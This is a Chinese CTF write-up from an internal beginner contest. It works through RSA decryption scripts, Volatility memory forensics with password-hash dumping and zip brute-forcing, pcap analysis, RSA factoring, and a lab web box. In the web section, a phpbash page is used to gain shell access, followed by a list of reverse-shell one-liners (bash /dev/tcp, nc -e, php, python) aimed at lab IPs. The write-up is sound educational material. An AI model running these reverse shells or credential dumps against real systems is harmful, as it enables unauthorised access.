【CTF】某次内部基础赛的WP

一、easyRSA

概念

打开文件得到

p = 103555038920563688486313625026692201769898539458250387852564311508516933405369955082868183252437921747101933466087007667680849668502313576809136295602884793383620354213976069518457644401962779239264013411285703750553160265181292953404298124707018302611470630565769393687990084840635760331964051567018109005221 q = 160798213861802381439816685710532500851717370147927179904640319036302461487410794611025319719924785678533804543378265641308730886441049379315313881873126279979745613736918892886654126589571320825140190618381209913572026100319529258246399826498738630096545262116872178571586776849937719267397229131977625729181 c = 3012698302685782914352748889538269539276966689535618390608255019928194822272484165258428510864993115145970175340476111006560843996009634680266411812379484931113572001911187873454962970814784874187267049158327912311464658988809303344617234850467295577263692382589465476940466909919703282508510408666640637321604806184358599109603839798259965266255051960288593974547633368290371444988144846550173058355339504472745816829243793352828596047300963256511623301276249567609305540926013893512398750490710257009878525120075269038340370622356157316429058802630037445446582848958118975401937068492634536362241056432564765409077

利用脚本

from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
p = 103555038920563688486313625026692201769898539458250387852564311508516933405369955082868183252437921747101933466087007667680849668502313576809136295602884793383620354213976069518457644401962779239264013411285703750553160265181292953404298124707018302611470630565769393687990084840635760331964051567018109005221
q = 160798213861802381439816685710532500851717370147927179904640319036302461487410794611025319719924785678533804543378265641308730886441049379315313881873126279979745613736918892886654126589571320825140190618381209913572026100319529258246399826498738630096545262116872178571586776849937719267397229131977625729181
c = 3012698302685782914352748889538269539276966689535618390608255019928194822272484165258428510864993115145970175340476111006560843996009634680266411812379484931113572001911187873454962970814784874187267049158327912311464658988809303344617234850467295577263692382589465476940466909919703282508510408666640637321604806184358599109603839798259965266255051960288593974547633368290371444988144846550173058355339504472745816829243793352828596047300963256511623301276249567609305540926013893512398750490710257009878525120075269038340370622356157316429058802630037445446582848958118975401937068492634536362241056432564765409077

def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m
e=65537
d=modinv(e,(p-1)*(q-1))
m=pow(c,d,p*q)

flag{this_1s_gi4t_40r_u}

二、Forensic

拿到文件之后先用volatitly -f mem.raw  imageinfo 查看相关信息

1.黑客notepad写的啥,据说是flag?

然后使用命令

volatility -f mem.raw --profile=WinXPSP2x86 notepad

base64解密后得到

flag{W3lec0me_7o_For3n5ics}

2.那么问题来了,黑客登陆的密码是啥?

volatility -f mem.raw --profile=WinXPSP2x86 hashdump            #查看密码

1e581aafa474dfadfdf83fc31e4fd4ea

通过彩虹表NTML解密得到

flag{19950101}

3.发送的机密文件里面到底是什么?

volatility -f mem.raw --profile=WinXPSP2x86 cmdscan   #查询到一个通过nc 上传的可疑文件

P@ssW0rd_is_y0ur_bir7hd4y.zip 

找一下这个NC进程的pid

volatility -f mem.raw --profile=WinXPSP2x86 pslist #查询进程

用下面这个命令将进程nc.exe    dump下来

sudo volatility -f mem.raw --profile=WinXPSP2x86  memdump -p 120 -D ./

然后分离一下

sudo foremost 120.dmp

发现很多zip都需要密码 我们使用密码爆破工具

注意提示:P@ssW0rd_is_y0ur_bir7hd4y.txt  尝试8为数字爆破

打开ziperello

选择下一步

选择暴力破解

因为生日有可能是 19970101这种 所以选择8位

flag{Thi5_Is_s3cr3t!}

三、流量分析

用wireshark打开流量包  发现一个flag.zip

导出字节流

生成一个zip的压缩文件 但是需要密码

分析上述数据包

key{I'm_Blue_Are_you_ok}

四、hardyRsa

相关概念

打开题目给了一个 公钥和一个加密文件,先用openssl解析n 然后将n分解

openssl rsa -pubin -text -modulus -in warmup -in rsa_public_key.pem

先将n转为10进制数如果数比较大,那就需要将数保存成一个txt

yafu-x64 "factor(@)" -batchfile data.txt

分解出来 p、q

利用脚本 生成私钥

import math
import sys

from Crypto.Math.Numbers import Integer
from Crypto.PublicKey import RSA
import math
import random
import base64
def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m




e = 65537

n = 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511

p = 57970027

q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093


u = Integer(p).inverse(q)

keypair = RSA.RsaKey(n=n, e=e, d=modinv(e,(p-1)*(q-1)), p=p, q=q, u =u)

private = open('rsa_private_key.pem','wb')
private.write(keypair.exportKey())
private.close()

得到flag

flag{vvvvvv_4act0rdb_c0m}

五、WEB题

Escalate_my_privilege 靶机

本地复现IP:http://192.168.12.129/

nmap扫描端口搜索信息

nmap -sT 192.168.12.129

然后dirsearch扫下目录

python3 dirsearch.py -u http://192.168.12.129/ -e *

http://192.168.12.129//readme.txt  提示查看backup目录

http://192.168.12.129//robots.txt  有个phpbash.php 文件

发现可以执行bash命令

这个页面不好操作,我们直接在kali上监听端口 反弹shell

kali上设置端口监听

在bash上输入

bash -i >& /dev/tcp/192.168.12.128/8888 0>&1

shell反弹成功

其他的反弹shell的方法:

其他的反弹shell的方法:
bash -i >& /dev/tcp/192.168.12.128/8888 0>&1
nc -e /bin/bash 192.168.1.146 7777
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.12.128',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 

学习地址 https://www.jianshu.com/p/6aca9b29514d

因为知道密码直接下面命令提权

su -l

Best of Luck 628435356e49f976bab2c04948d22fe4

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值